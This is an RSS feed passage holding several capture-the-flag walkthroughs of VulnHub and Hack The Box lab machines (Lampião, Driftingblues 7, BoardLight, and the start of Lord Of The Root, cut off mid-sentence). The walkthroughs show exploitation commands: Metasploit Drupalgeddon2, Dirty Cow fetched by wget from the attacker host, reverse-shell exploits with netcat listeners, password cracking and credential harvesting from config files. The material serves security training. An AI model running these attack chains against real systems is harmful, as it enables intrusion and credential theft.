benign explanation. And sometimes the correct conclusion is that more information is needed.</p><p>What matters is that the verdict is defensible, the limitations are documented, and any response action is appropriate to the evidence.</p><p>For me, this is one of the most important parts of SOC analysis: moving beyond the alert label and learning to explain why a conclusion makes sense.</p><p><strong>The alert tells us where to start. The evidence tells us what we know. The investigation determines what we do next.</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=16c19214ad51" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Lampião: 1 | Vulnhub Walkthrough]]></title>
            <link>https://medium.com/@z6157881/lampi%C3%A3o-1-vulnhub-walkthrough-1abe0cc9087b?source=rss-acba0c2255fe------2</link>
            <guid isPermaLink="false">https://medium.com/p/1abe0cc9087b</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[vulnhub]]></category>
            <dc:creator><![CDATA[Anshika]]></dc:creator>
            <pubDate>Mon, 30 Sep 2024 04:53:32 GMT</pubDate>
            <atom:updated>2024-09-30T04:53:32.410Z</atom:updated>
            <content:encoded><![CDATA[<p>In this article, we will explore the solution to the Capture the Flag (CTF) challenge titled <strong>Lampião: 1</strong>, posted on VulnHub by Tiago Tavares. The CTF challenge is categorized as <em>easy</em> by the author, meaning it does not require advanced exploitation knowledge. This walkthrough assumes basic knowledge of tools such as Nmap, Metasploit, and Linux command-line utilities. You can download the virtual machine (VM) from VulnHub and run it on VirtualBox. A torrent download link is also available and will be provided in the references.</p><p>For those unfamiliar, VulnHub is a platform that offers CTF challenges for security researchers, allowing them to hone their skills in a legal and controlled environment.</p><h3>Methodology</h3><p>The approach to solving this CTF can be broken down into several key phases:</p><ol><li><strong>Information Gathering</strong> (Reconnaissance)</li><li><strong>Scanning and Enumeration</strong> (Identifying open services and potential vulnerabilities)</li><li><strong>Exploitation</strong> (Leveraging vulnerabilities to gain access)</li><li><strong>Privilege Escalation</strong> (Gaining root or higher-level access)</li><li><strong>Post-Exploitation and Flag Capture</strong></li></ol><h4>Step 1: Identifying the Target IP Address</h4><p>After launching the virtual machine in VirtualBox, the first step is to identify the IP address of the target. We use the netdiscover command for this purpose. This tool is helpful in local network environments to detect live hosts.</p><blockquote><strong>netdiscover</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rTsh1V_2Vza6jhMBT501Xw.png" /></figure><blockquote>The target machine’s IP address is identified as <strong>192.168.1.8</strong>.</blockquote><h4>Step 2: Scanning for Open Ports with Nmap</h4><p>Next, we use <strong>Nmap</strong> to perform a full port scan (-p-) on the target machine to discover open ports and services. The -n flag disables DNS resolution, which speeds up the scan.</p><blockquote><strong>nmap -p- -n 192.168.1.8</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/943/1*NWqM_SHbFsJxXW3IlEk5sg.png" /></figure><h4>Nmap Results:</h4><ul><li>Port <strong>22</strong>: SSH</li><li>Port <strong>80</strong>: HTTP</li><li>Port <strong>1898</strong>: HTTP (Likely running a web application)</li></ul><p>The presence of HTTP services on non-standard ports, such as <strong>1898</strong>, is a good indicator that the web application could be a primary attack vector.</p><h3>Step 3: Enumerating the Web Application</h3><p>Navigating to http://192.168.1.8:1898, we find that the machine is running <strong>Drupal CMS</strong>. To further investigate, we check for exposed files such as robots.txt, which can reveal hidden paths or directories.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ux5PNl5089U4yqIClaH39Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/721/1*EaDo3uUq_yFSrQAGnSXG-A.png" /></figure><p>The version of Drupal running on this machine is <strong>Drupal 7.54</strong>. Knowing the exact version is critical for determining whether it has any known vulnerabilities.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/912/1*IQ2p64fM0TSIRctBD825uQ.png" /></figure><h4>Step 4: Searching for Drupal Exploits</h4><p>Using <strong>Searchsploit</strong>, a tool in Kali Linux that searches for exploits in the Exploit-DB database, we look for potential vulnerabilities associated with Drupal 7.54.</p><blockquote><strong>msfconsole</strong></blockquote><blockquote><strong>search drupal</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eWyjlD5YiZtho1qsUpLepQ.png" /></figure><p>Several exploits are available, but <strong>Drupalgeddon2</strong> (CVE-2018–7600) appears to be the most promising. This is a remote code execution (RCE) vulnerability that allows an attacker to execute arbitrary code on the Drupal site without authentication.</p><p>We select the Drupalgeddon2 exploit from the available modules.</p><blockquote><strong>use exploit/unix/webapp/drupal_drupalgeddon2</strong></blockquote><blockquote><strong>set RHOSTS 192.168.1.8</strong></blockquote><blockquote><strong>set RPORT 1898</strong></blockquote><blockquote><strong>show options</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*X04np_kfSVAAsJSC20f8Cg.png" /></figure><blockquote><strong>exploit</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/894/1*rfIHSZp7mTWJZM24WqxlwA.png" /></figure><p>Upon successful exploitation, we gain a reverse shell on the target machine.</p><h4>Step 6: Post-Exploitation and Credential Discovery</h4><p>Once inside the machine, our goal is to escalate privileges. Drupal typically stores database credentials in its <strong>settings.php</strong> file, located at /sites/default/.</p><blockquote><strong>ls</strong></blockquote><blockquote><strong>cd sites</strong></blockquote><blockquote><strong>ls</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/880/1*On3GK_nu4dmQnIRT28pt2A.png" /></figure><blockquote><strong>cd default</strong></blockquote><blockquote><strong>ls</strong></blockquote><blockquote><strong>cat settings.php</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/833/1*HeLi909FY6e4RobCel5DXg.png" /></figure><p>By reading this file, we obtain the password for the Drupal database.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/675/1*UQdLqIXJFJ-cWcbdCbHscA.png" /></figure><p>Additionally, we enumerate users on the system by inspecting the <strong>/etc/passwd</strong> file, which lists all user accounts.</p><blockquote><strong>cat /etc/passwd | grep hash</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/878/1*2SMF-9Immrg69QEkZDLwtQ.png" /></figure><p>We attempt to use the password from the settings.php file for one of the users, and successfully log in as <strong>tiago</strong>.</p><h4>Step 7: Privilege Escalation via Dirty Cow (CVE-2016–5195)</h4><p>Privilege escalation is necessary to gain root access. The kernel version of the target machine, discovered using uname -a, suggests that the machine is vulnerable to the <strong>Dirty Cow</strong> privilege escalation exploit.</p><blockquote><strong>shell</strong></blockquote><blockquote><strong>id</strong> (This command tells the username of the current user)</blockquote><blockquote><strong>python -c ‘import pty;pty.spawn(“/bin/bash”)’</strong> (This command is used to take the Python interactive shell so that we can run the commands in interactive mode)</blockquote><blockquote><strong>uname -a</strong> (This command will tell us the kernel version of the target machine)</blockquote><blockquote><strong>cat /etc/issue</strong><em> </em>(This command will tell us the operating system version which is running on the target machine)</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*K-AtY0s_S8WV-7_gmx6_eA.png" /></figure><p>Here is the exploit, I used: <a href="https://www.exploit-db.com/exploits/40847/">https://www.exploit-db.com/exploits/40847/</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*e-hCefvnULNMUMOquuRyeQ.png" /></figure><p>We download the Dirty Cow exploit from our attacking machine to the target using <strong>wget</strong>, and then compile and run it.</p><blockquote><strong>cd /tmp</strong></blockquote><blockquote><strong>wget http://192.168.1.7:4444/40847.cpp</strong></blockquote><blockquote><strong>g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil</strong></blockquote><blockquote><strong>./dcow</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/939/1*pVXvJcGYtMsIrEl1RzYlTw.png" /></figure><p>The exploit successfully grants us root privileges.</p><h4>Step 8: Capture the Flag</h4><p>Finally, with root access, we navigate to the /root directory and read the flag.txt file to complete the challenge.</p><blockquote><strong>cd /root</strong></blockquote><blockquote><strong>ls</strong></blockquote><blockquote><strong>cat flag.txt</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/413/1*mNbl1O605hVigg8WLSEj1A.png" /></figure><p>The flag is captured, and the CTF is solved!</p><h3>Conclusion</h3><p>This challenge demonstrated the importance of proper version management and securing CMS platforms. By enumerating the services, identifying vulnerabilities, and using available exploits, we were able to gain root access to the target machine. Each step, from reconnaissance to exploitation and privilege escalation, plays a vital role in successfully completing a CTF challenge.</p><p>For further reference, check out the following:</p><ul><li>VulnHub: Lampião 1</li><li>Drupalgeddon2 Exploit</li><li><a href="https://www.exploit-db.com/exploits/40847/">Dirty Cow (CVE-2016–5195)</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1abe0cc9087b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Vulnhub — Driftingblues 7 — Walkthrough]]></title>
            <link>https://medium.com/@z6157881/vulnhub-driftingblues-7-walkthrough-c5c667f8bec5?source=rss-acba0c2255fe------2</link>
            <guid isPermaLink="false">https://medium.com/p/c5c667f8bec5</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[oscp-preparation]]></category>
            <category><![CDATA[vulnhub]]></category>
            <dc:creator><![CDATA[Anshika]]></dc:creator>
            <pubDate>Sat, 07 Sep 2024 14:34:32 GMT</pubDate>
            <atom:updated>2024-09-07T14:34:32.122Z</atom:updated>
            <content:encoded><![CDATA[<h3>Vulnhub — Driftingblues 7 — Walkthrough</h3><p><strong>Machine Link:</strong> <a href="https://www.vulnhub.com/entry/driftingblues-7,680/">Driftingblues 7 — VulnHub</a></p><h3>Table of Contents</h3><ol><li><strong>Introduction</strong></li><li><strong>Information Gathering</strong></li></ol><ul><li>2.1. Discovering the Target IP</li><li>2.2. Service Enumeration with Nmap</li></ul><p><strong>3. Directory Enumeration</strong></p><ul><li>3.1. Gobuster Directory Scan</li><li>3.2. .bash_history Discovery</li><li>3.3. Flag Discovery</li></ul><p><strong>4. Exploration Beyond the First Flag</strong></p><ul><li>4.1. Further Directory Enumeration</li><li>4.2. Decoding Base64-Encoded Data</li></ul><p><strong>5. Gaining Access</strong></p><ul><li>5.1. Cracking the Zip Password</li><li>5.2. Eyes of Network Exploit</li></ul><p><strong>6. Privilege Escalation</strong></p><p><strong>7. Conclusion</strong></p><h3>Introduction</h3><p>In this walkthrough, we will explore how to exploit the vulnerabilities in the <strong>Driftingblues 7</strong> machine hosted on VulnHub. Our objective is to identify all potential weaknesses, exploit them, and ultimately gain root access. The journey involves multiple phases of enumeration, file discovery, and exploitation techniques.</p><p>Let’s begin!</p><h3>Information Gathering</h3><h4><strong>Discovering the Target IP</strong></h4><p>We start by discovering the IP address of the target machine within our network using <strong>netdiscover</strong>:</p><blockquote><strong>netdiscover</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/933/1*1zKmg_DnaGuzLRVDDPHtyA.png" /></figure><p><strong>Target IP:</strong> 192.168.1.8</p><h3>Service Enumeration with Nmap</h3><p>Once we have identified the target IP, we move forward with port scanning to discover all open ports and the services running on them using <strong>Nmap</strong>. This helps us gain a better understanding of the machine’s configuration and potential attack vectors.</p><blockquote><strong>nmap -p- -sCV 192.168.1.8</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7yppD880Zd9gopEKfyqnIA.png" /></figure><p>Here’s a summary of the scan results:</p><ul><li><strong>443/tcp</strong> — HTTP over SSL</li><li><strong>3306/tcp</strong> — MySQL database</li><li><strong>8086/tcp</strong> — Another HTTP service</li></ul><p>We observe three HTTP servers running, indicating possible web applications to explore further.</p><h3>Directory Enumeration</h3><h4>Gobuster Directory Scan</h4><p>Next, we use <strong>Gobuster</strong> to enumerate directories on the target’s web servers. This will help us discover hidden files and directories that may contain sensitive information or serve as entry points for further attacks.</p><p>Since we know that the server is Python-based, we’ll exclude searching for PHP files to optimize our scan.</p><blockquote><strong>gobuster dir -u http://192.168.1.8:66 -x html,txt,bak — wordlists /usr/share/wordlists/dirb/common.txt</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FSHu7T9ZRgX07fz17wSjbw.png" /></figure><h4>./bash_history Discovery</h4><p>The initial Gobuster scan reveals the presence of a <strong>.bash_history</strong> file, which can contain shell commands previously executed by the system’s user. This file can provide us with critical information for further exploitation.</p><p>To view its contents, we use <strong>curl</strong>:</p><blockquote>c<strong>url http://192.168.1.8:66/.bash_history</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/618/1*AtYxvBY45pnZANYHxfjz1A.png" /></figure><h4>Flag Discovery</h4><p>In addition to the <strong>.bash_history</strong> file, the scan also reveals a <strong>flag.txt</strong> file, which likely contains one of the challenge flags. We retrieve the file contents using the following command:</p><blockquote><strong>curl http://192.168.1.8:66/flag.txt</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/624/1*WTZVCwJFPThvtA4N29cv6g.png" /></figure><p>However, this appears to be just one part of the puzzle, as the <strong>./bash_history</strong> file hints that the root flag was copied from another machine and renamed. So, we continue our investigation.</p><h3>Exploration Beyond the First Flag</h3><h4>Further Directory Enumeration</h4><p>To explore further, I decide to run <strong>Gobuster</strong> again but with a more comprehensive wordlist.</p><blockquote><strong>gobuster dir -u http://192.168.1.8:66 -x htm,txt — wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt</strong></blockquote><p>This scan uncovers a new directory: <strong>/eon</strong>. Upon examining the contents of the <strong>/eon</strong> directory using <strong>curl</strong>, we discover some encoded data.</p><blockquote><strong>curl http://192.168.1.8/eon</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/838/1*JqCv8H8fNhCu3kA27Lvu4g.png" /></figure><blockquote><strong>nano eon</strong></blockquote><h4>Decoding Base64-Encoded Data</h4><p>The data from the <strong>/eon</strong> directory appears to be base64-encoded. Using <strong>base64</strong> decoding, we can reveal the actual content of the file:</p><blockquote><strong>cat eon | base64 -d</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/913/1*PfjsrH-U2rxextZcGs19qQ.png" /></figure><p>I looked up in the internet and found a website to decode the file. <a href="https://base64.guru/converter/decode/file">https://base64.guru/converter/decode/file</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sXs3lWx_cQKKTkJqlxmFAw.png" /></figure><p>The result is a zip file, which is encrypted. This calls for further steps to crack the zip password.</p><h3>Gaining Access</h3><h4>Cracking the Zip Password</h4><p>To crack the encrypted zip file, we use <strong>zip2john</strong> to extract the hash and then run <strong>John the Ripper</strong> to find the password.</p><blockquote><strong>zip2john application.zip | tee hash</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_RMbP_YxdkRGioXCU3pwMQ.png" /></figure><blockquote><strong>john hash — wordlist=/usr/share/wordlists/rockyou.txt</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/952/1*o_SnbzNP20F0j5xWS0nTSg.png" /></figure><p>Once the password is cracked, we unzip the file:</p><blockquote><strong>unzip application.zip</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/575/1*Z5iFKsPNEMjgzUvf42GQrg.png" /></figure><blockquote><strong>cat creds.txt</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/557/1*ZAQ2XATeWUwB5T3PqD23GQ.png" /></figure><p>Inside, we find a <strong>creds.txt</strong> file containing credentials for the web application hosted on port 80.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/870/1*M07mombP_pbJmo1Gmgf9rw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0DSE9tiVJhWSYR5SLAYAZg.png" /></figure><h4>Eyes of Network Exploit</h4><p>With the newly obtained credentials, we log into the web application. Upon exploring the software version, we find that it is vulnerable to an exploit listed on <strong>Exploit-DB</strong> for <strong>Eyes of Network</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/956/1*ujiNVT1nmcCkC1KJfkVArw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/939/1*VJmHC2kgvCXenOmxk3qC5Q.png" /></figure><p>We download the exploit and prepare it for execution:</p><blockquote><strong>cp /usr/share/exploitdb/exploits/php/webapps/48025.txt ./exploit.py</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/755/1*4983wSW34XZlT2u07NbJQQ.png" /></figure><blockquote><strong>python3 exploit.py https://192.168.1.8 -ip 192.168.1.6 -port 4444 -user admin -password isitreal31__</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oeZX9C9f3p21nHaxi15Znw.png" /></figure><p>Running the exploit grants us shell access as <strong>root</strong>.</p><h3>Privilege Escalation</h3><p>Having successfully executed the exploit and gained root access, we now have complete control over the machine. The final step is to capture the root flag and conclude the challenge.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/515/1*dbIl26FFVj5z8wNUoGlRTw.png" /></figure><p>And done!!!!!</p><h3>Conclusion</h3><p>The <strong>Driftingblues 7</strong> machine offers an engaging set of challenges, from information gathering to directory enumeration, password cracking, and finally exploiting a known vulnerability in a network monitoring software. This walkthrough demonstrates the importance of thorough enumeration and methodical exploitation in gaining root access to a target system.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c5c667f8bec5" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hack The Box “BoardLight” — Walkthrough]]></title>
            <link>https://medium.com/@z6157881/hack-the-box-boardlight-walkthrough-acb6105406ab?source=rss-acba0c2255fe------2</link>
            <guid isPermaLink="false">https://medium.com/p/acb6105406ab</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[htb]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[Anshika]]></dc:creator>
            <pubDate>Fri, 30 Aug 2024 17:58:40 GMT</pubDate>
            <atom:updated>2024-08-30T18:03:17.773Z</atom:updated>
            <content:encoded><![CDATA[<h3>Hack The Box “BoardLight” — Walkthrough</h3><h3>Overview</h3><p>In this walkthrough, we’ll explore the “BoardLight” machine on Hack The Box. Designed as an introductory-level challenge, this machine provides a practical starting point for those new to information security. We’ll follow a systematic approach to gain both user and root access.</p><h3>Methodology</h3><ol><li><strong>Reconnaissance</strong></li></ol><ul><li><strong>Objective:</strong> Identify open ports and services on the target machine.</li><li><strong>Tools:</strong> ping, nmap</li></ul><p><strong>2. Enumeration</strong></p><ul><li><strong>Objective:</strong> Discover and analyze website content and subdomains.</li><li><strong>Tools:</strong> ffuf, web browser</li></ul><p><strong>3. Exploitation</strong></p><ul><li><strong>Objective:</strong> Exploit vulnerabilities to gain unauthorized access.</li><li><strong>Tools:</strong> netcat, python3</li></ul><p><strong>4. Post-Exploitation</strong></p><ul><li><strong>Objective:</strong> Escalate privileges and retrieve flags.</li><li><strong>Tools:</strong> ssh, find, scp</li></ul><h3>1. Reconnaissance</h3><h4><strong>Step 1: Verify Machine Availability</strong></h4><p>Start by pinging the target machine to ensure it’s reachable:</p><blockquote><strong>ping -c 5 10.10.11.11</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hQ9pZSfD8JVmguGx-ava-A.png" /></figure><h4><strong>Step 2: Scan Open Ports</strong></h4><p>Use nmap to identify open ports and services:</p><blockquote><strong>nmap -A 10.10.11.11</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KLTUCzaTFlAW5LPLZ6qLoQ.png" /></figure><p><strong>Results:</strong></p><ul><li>Port 22 (SSH)</li><li>Port 80 (Apache HTTP Server)</li></ul><p>Port 80 is the more promising target, as SSH is less likely to be easily exploited.</p><h4><strong>Step 3: Update /etc/hosts</strong></h4><p>To access the web application using a custom domain, update your /etc/hosts file:</p><blockquote><strong>sh -c ‘echo “10.10.11.11 board.htb” &gt;&gt; /etc/hosts’</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*I37Bka8DIdYw9Dt2aixPWQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*N2yEAfIuVfkcgMzFoggX7w.png" /></figure><h3>2. Enumeration</h3><h4><strong>Step 1: Web Directory Discovery</strong></h4><p>Use ffuf to find directories and files on the website:</p><blockquote><strong>ffuf -u http://board.htb/FUZZ -w /usr/share/wordlists/dirb/common.txt</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/881/1*cBRIll-zZ9pqeA0aW3c0Ig.png" /></figure><p><strong>Results:</strong></p><ul><li>Found a subdomain: crm.board.htb</li></ul><h4><strong>Step 2: Update /etc/hosts with Subdomain</strong></h4><p>Add the subdomain to your /etc/hosts file:</p><blockquote><strong>sh -c ‘echo “10.10.11.11 crm.board.htb” &gt;&gt; /etc/hosts’</strong></blockquote><h3><strong>Step 3: Access the Subdomain</strong></h3><p>Open http://crm.board.htb in your web browser and locate the login page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/957/1*ospCYag6E_cIHFmUxOsaQw.png" /></figure><h3>3. Exploitation</h3><h4><strong>Step 1: Identify Login Credentials</strong></h4><p>Log in using default credentials (admin:admin):</p><ul><li>Username: admin</li><li>Password: admin</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/957/1*ArNJXKvt9fUbwk88wt3WfQ.png" /></figure><h4><strong>Step 2: Identify Vulnerability</strong></h4><p>The site uses Dolibarr ERP/CRM, which is known to have vulnerabilities. In particular, CVE-2023–30253 is relevant. This exploit is available on GitHub.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/852/1*HXcg4G95F3GbTRnXPXhPNw.png" /></figure><p>Download exploit.py</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/954/1*uZa5APmNAkqVIuZ4Z05JKQ.png" /></figure><p>Run the exploit using Python:</p><blockquote><strong>python3 exploit.py http://crm.board.htb admin admin 10.10.14.103 5555</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VtWOCDc8dfiNwn9LWnqBcg.png" /></figure><p>Start a Netcat listener on your attacking machine:</p><blockquote><strong>nc -lnvp 5555</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/776/1*8V4ILTmo3f2dW46sqxBGuA.png" /></figure><p><strong>Results:</strong></p><ul><li>Gained a reverse shell on the target machine.</li></ul><h3>4. Post-Exploitation</h3><h4><strong>Step 1: Investigate the System</strong></h4><ol><li>Explore the /home directory to find user profiles:</li></ol><blockquote><strong>cd /home</strong></blockquote><blockquote><strong>ls</strong></blockquote><p>2. Search for configuration directories:</p><blockquote><strong>find / -type d -name ‘conf’</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZD10qR6WQFCutREWh8cf6w.png" /></figure><p>Examine configuration files for credentials:</p><blockquote><strong>cd /var/www/html/crm.board.htb/htdocs/conf</strong></blockquote><blockquote><strong>ls</strong></blockquote><blockquote><strong>cat conf.php</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/859/1*REhz4Omb2_yhRhog8oac3Q.png" /></figure><h4><strong>Step 2: SSH Access</strong></h4><p>Use discovered credentials to access the system via SSH:</p><blockquote><strong>ssh larissa@10.10.11.11</strong></blockquote><blockquote><strong>ls</strong></blockquote><p>Password worked as expected! Using SSH, we successfully connected to <em>larissa’s</em> account! The user flag can be found in the <em>user.txt</em> file in <em>larissas’s</em> home directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jh5_kn-51rU350eab9kpRg.png" /></figure><p>Retrieve User Flag:</p><blockquote><strong>cat user.txt</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/553/1*5dzN3nt4CjDseRd-uN8H3A.png" /></figure><h4><strong>Step 3: Privilege Escalation</strong></h4><ol><li><strong>Check SUID/SGID Files:</strong></li></ol><blockquote><strong>find / -perm -u=s -type f 2&gt;/dev/null</strong></blockquote><p>Above is the command that instructs the system to locate all SUID files on the computer. After we get the results, we see that there are no SUIDs that can help us escalate privileges.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/947/1*T04kwnuG7lEQkgYjYpuemg.png" /></figure><p><strong>Identify and Exploit Vulnerabilities:</strong></p><p>The system runs Enlightenment with a known privilege escalation vulnerability (CVE-2022–37706). Download and upload the exploit to the target machine:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*L2boC_OX4yB0r5cRm7TQqw.png" /></figure><p>As soon as the exploit file has been downloaded, it needs to be uploaded to the target machine.</p><blockquote><strong>scp exploit.sh larissa@10.10.11.11:/tmp</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/908/1*MH3ng-K4Mn-uemowetxXMA.png" /></figure><p><strong>Execute the Exploit:</strong></p><blockquote><strong>cd /tmp</strong></blockquote><blockquote><strong>ls</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/445/1*Ru60GwEf1QNj3SCD7L12Kw.png" /></figure><blockquote><strong>sh exploit.sh</strong></blockquote><blockquote><strong>ls</strong></blockquote><blockquote><strong>whoami</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/838/1*a4Nj0eB-SwgsdSe-jMYazQ.png" /></figure><p>Retrieve Root Flag:</p><blockquote><strong>pwd</strong></blockquote><blockquote><strong>cd /</strong></blockquote><blockquote><strong>pwd</strong></blockquote><blockquote><strong>ls</strong></blockquote><blockquote><strong>cd root</strong></blockquote><blockquote><strong>ls</strong></blockquote><blockquote><strong>cat root.txt</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/652/1*DjDehhEIQkvXbj1hRbFzug.png" /></figure><p>And we got root.txt!!!!!!!</p><h3><strong>Conclusion</strong></h3><p>Congratulations! You’ve successfully completed the BoardLight machine. This walkthrough demonstrated the steps for reconnaissance, enumeration, exploitation, and privilege escalation. Continue to practice and refine your skills to tackle more challenging machines.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=acb6105406ab" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Lord Of The Root: 1.0.1 Vulnhub Walkthrough]]></title>
            <link>https://medium.com/@z6157881/lord-of-the-root-1-0-1-vulnhub-walkthrough-25f7161c7e7b?source=rss-acba0c2255fe------2</link>
            <guid isPermaLink="false">https://medium.com/p/25f7161c7e7b</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[walkthrough]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[Anshika]]></dc:creator>
            <pubDate>Sun, 25 Aug 2024 17:53:16 GMT</pubDate>
            <atom:updated>2024-08-25T17:54:02.589Z</atom:updated>
            <content:encoded><![CDATA[<h3>Table of Contents</h3><ol><li><strong>Introduction</strong></li><li><strong>Step 1: Network Scanning and Target Identification</strong></li><li><strong>Step 2: Port Scanning</strong></li><li><strong>Step 3: Initial SSH Connection Attempt</strong></li><li><strong>Step 4: Port Knocking</strong></li><li><strong>Step 5: Web Service Enumeration</strong></li><li><strong>Step 6: Base64 String Decoding</strong></li><li><strong>Step 7: SQL Injection Attack</strong></li><li><strong>Step 8: Extracting Credentials</strong></li><li><strong>Step 9: SSH Access as smeagol</strong></li><li><strong>Step 10: Privilege Escalation</strong></li><li><strong>Step 11: Capturing the Root Flag</strong></li><li><strong>Conclusion</strong></li></ol><h3>1. Introduction</h3><p><strong>Challenge Overview</strong><br>This walkthrough will guide you through the “Lord Of The Root: 1.0.1” Boot2Root challenge. The objective is to exploit vulnerabilities on a target machine themed around “The Lord Of The Rings.” We will go through steps like network scanning, port knocking, SQL injection, and privilege escalation to capture the root flag.</p><p><strong>Tools Used</strong></p><ul><li>netdiscover: To identify the IP address of the target machine.</li><li>nmap: For port scanning and service enumeration.</li><li>Web browser: For accessing web services and source code inspection.</li><li>base64: base64 decoder.</li><li>sqlmap: To perform SQL injection attacks and extract data.</li><li>ssh: To gain access to the target machine.</li><li>gcc: To compile exploits on the target machine.</li><li>Kernel exploit: Used for privilege escalation.</li></ul><h3>Step 1: Network Scanning and Target Identification</h3><p>First, we need to identify the IP address of the target machine on our network. We can achieve this by using the netdiscover tool, which is designed for scanning ARP packets.</p><blockquote><strong><em>netdiscover</em></strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VLDfsISh0pQ3SHjBa-hbeA.png" /></figure><p>After scanning, we identify the IP address of our target machine, which in this scenario is 192.168.1.9.</p><h3>Step 2: Port Scanning</h3><p>With the IP address identified, the next step is to perform a port scan to discover any open ports and services running on the target machine. We use nmap for this task.</p><blockquote><strong>nmap -sV -A 192.168.1.9</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/812/1*9ePHiW7aDdvCjRi0oCltvQ.png" /></figure><p>The scan reveals that only port 22 (SSH) is open.</p><h3>Step 3: Initial SSH Connection Attempt</h3><p>Given that port 22 (SSH) is open, we attempt to connect using SSH:</p><blockquote><strong>ssh root@192.168.1.9</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DHW6oP5T74tOQMsE9Z20Ng.png" /></figure><p>However, we are met with a message: <strong>“knock friend to enter”</strong>. This indicates that <strong>port knocking</strong> is required to access the machine.</p><h3>Step 4: Port Knocking</h3><p>Port knocking involves sending connection attempts to a sequence of ports to unlock access to a service. We try this using 